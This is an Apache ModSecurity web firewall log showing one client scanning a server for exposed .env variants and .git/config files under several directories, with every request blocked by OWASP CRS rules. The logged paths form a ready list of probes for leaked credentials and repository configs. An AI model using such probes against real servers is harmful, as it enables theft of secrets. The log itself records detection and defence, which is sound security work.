[Mon Oct 26 01:10:06.008678 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61968] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.dist"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at7grokKmcwaFKw2zjO68gAAABY"]
[Mon Oct 26 01:10:06.008899 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61968] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at7grokKmcwaFKw2zjO68gAAABY"]
[Mon Oct 26 01:10:06.009155 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:61968] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.dist"] [unique_id "at7grokKmcwaFKw2zjO68gAAABY"]
[Mon Oct 26 01:10:06.245864 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61972] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.preprod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at7groxjGi9drRw_gnmvBwAAABc"]
[Mon Oct 26 01:10:06.246237 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61972] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at7groxjGi9drRw_gnmvBwAAABc"]
[Mon Oct 26 01:10:06.246652 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:61972] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.preprod"] [unique_id "at7groxjGi9drRw_gnmvBwAAABc"]
[Mon Oct 26 01:10:06.484263 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61980] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.stage"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at7grizbxoDcPgmvgSFJBgAAAAI"]
[Mon Oct 26 01:10:06.484546 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61980] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at7grizbxoDcPgmvgSFJBgAAAAI"]
[Mon Oct 26 01:10:06.484804 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:61980] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.stage"] [unique_id "at7grizbxoDcPgmvgSFJBgAAAAI"]
[Mon Oct 26 01:10:06.725171 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61982] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /prod/.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at7groby0T5GxfPG5JievAAAAAg"]
[Mon Oct 26 01:10:06.725388 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61982] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at7groby0T5GxfPG5JievAAAAAg"]
[Mon Oct 26 01:10:06.725699 2026] [security2:error] [pid 2967983:tid 2967983] [client 45.148.10.5:61982] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/prod/.env"] [unique_id "at7groby0T5GxfPG5JievAAAAAg"]
[Mon Oct 26 01:10:06.961408 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:61994] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.uat"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at7grol8CCaegHlNIHu70wAAAD8"]
[Mon Oct 26 01:10:06.961646 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:61994] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at7grol8CCaegHlNIHu70wAAAD8"]
[Mon Oct 26 01:10:06.961901 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:61994] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.uat"] [unique_id "at7grol8CCaegHlNIHu70wAAAD8"]
[Mon Oct 26 01:10:07.239613 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62010] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.testing"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "at7gr8Vpa646XWXolcwAQAAAABg"]
[Mon Oct 26 01:10:07.239831 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62010] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "at7gr8Vpa646XWXolcwAQAAAABg"]
[Mon Oct 26 01:10:07.240077 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62010] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.testing"] [unique_id "at7gr8Vpa646XWXolcwAQAAAABg"]
[Mon Oct 26 01:10:07.490415 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62014] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /public/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/public/.git/config"] [unique_id "at7gr1mPATn9-OOzVsuAwgAAAAA"]
[Mon Oct 26 01:10:07.490673 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62014] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/public/.git/config"] [unique_id "at7gr1mPATn9-OOzVsuAwgAAAAA"]
[Mon Oct 26 01:10:07.490955 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62014] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/public/.git/config"] [unique_id "at7gr1mPATn9-OOzVsuAwgAAAAA"]
[Mon Oct 26 01:10:07.741946 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62018] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /www/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/www/.git/config"] [unique_id "at7gr4xjGi9drRw_gnmvCAAAABc"]
[Mon Oct 26 01:10:07.742177 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62018] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/www/.git/config"] [unique_id "at7gr4xjGi9drRw_gnmvCAAAABc"]
[Mon Oct 26 01:10:07.742414 2026] [security2:error] [pid 2968015:tid 2968015] [client 45.148.10.5:62018] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/www/.git/config"] [unique_id "at7gr4xjGi9drRw_gnmvCAAAABc"]
[Mon Oct 26 01:10:07.974629 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62032] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.prod"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gr1N_bUq_OQDpNPOoMgAAAAo"]
[Mon Oct 26 01:10:07.974858 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62032] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gr1N_bUq_OQDpNPOoMgAAAAo"]
[Mon Oct 26 01:10:07.975114 2026] [security2:error] [pid 2948938:tid 2948938] [client 45.148.10.5:62032] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.prod"] [unique_id "at7gr1N_bUq_OQDpNPOoMgAAAAo"]
[Mon Oct 26 01:10:08.210276 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62038] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /core/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/core/.git/config"] [unique_id "at7gsCzbxoDcPgmvgSFJBwAAAAI"]
[Mon Oct 26 01:10:08.210552 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62038] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/core/.git/config"] [unique_id "at7gsCzbxoDcPgmvgSFJBwAAAAI"]
[Mon Oct 26 01:10:08.210803 2026] [security2:error] [pid 2967444:tid 2967444] [client 45.148.10.5:62038] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/core/.git/config"] [unique_id "at7gsCzbxoDcPgmvgSFJBwAAAAI"]
[Mon Oct 26 01:10:08.699701 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62050] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gsIl8CCaegHlNIHu71AAAAD8"]
[Mon Oct 26 01:10:08.700000 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62050] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gsIl8CCaegHlNIHu71AAAAD8"]
[Mon Oct 26 01:10:08.700246 2026] [security2:error] [pid 2963578:tid 2963578] [client 45.148.10.5:62050] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env"] [unique_id "at7gsIl8CCaegHlNIHu71AAAAD8"]
[Mon Oct 26 01:10:08.933449 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62062] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gsMVpa646XWXolcwAQQAAABg"]
[Mon Oct 26 01:10:08.933731 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62062] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gsMVpa646XWXolcwAQQAAABg"]
[Mon Oct 26 01:10:08.934011 2026] [security2:error] [pid 2963523:tid 2963523] [client 45.148.10.5:62062] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.env.save"] [unique_id "at7gsMVpa646XWXolcwAQQAAABg"]
[Mon Oct 26 01:10:09.171210 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62064] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gsVmPATn9-OOzVsuAwwAAAAA"]
[Mon Oct 26 01:10:09.171742 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62064] ModSecurity: Access denied with code 403 (phase 2). Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "30"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gsVmPATn9-OOzVsuAwwAAAAA"]
[Mon Oct 26 01:10:09.171993 2026] [security2:error] [pid 2966995:tid 2966995] [client 45.148.10.5:62064] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "37"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): Restricted File Access Attempt"] [tag "event-correlation"] [hostname "64.20.54.226"] [uri "/.git/config"] [unique_id "at7gsVmPATn9-OOzVsuAwwAAAAA"]
[Mon Oct 26 01:10:09.404452 2026] [security2:error] [pid 2967995:tid 2967995] [client 45.148.10.5:62074] ModSecurity: Warning. Matched phrase "/.git/" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "49"] [id "930130"] [rev "1"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.git/ found within REQUEST_FILENAME: /backup/.git/config"] [severity "CRITICAL"] [ver "OWASP_CRS/3.0.0"] [maturity "7"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "OWASP_CRS/WEB_ATTACK/FILE_INJECTION"] [tag "WASCTC/WASC-33"] [tag "OWASP_TOP_10/A4"] [tag "PCI/6.5.4"] [hostname "64.20.54.226"] [uri "/backup/.git/config"] [unique_id "at7gsYkKmcwaFKw2zjO69AAAABY"]
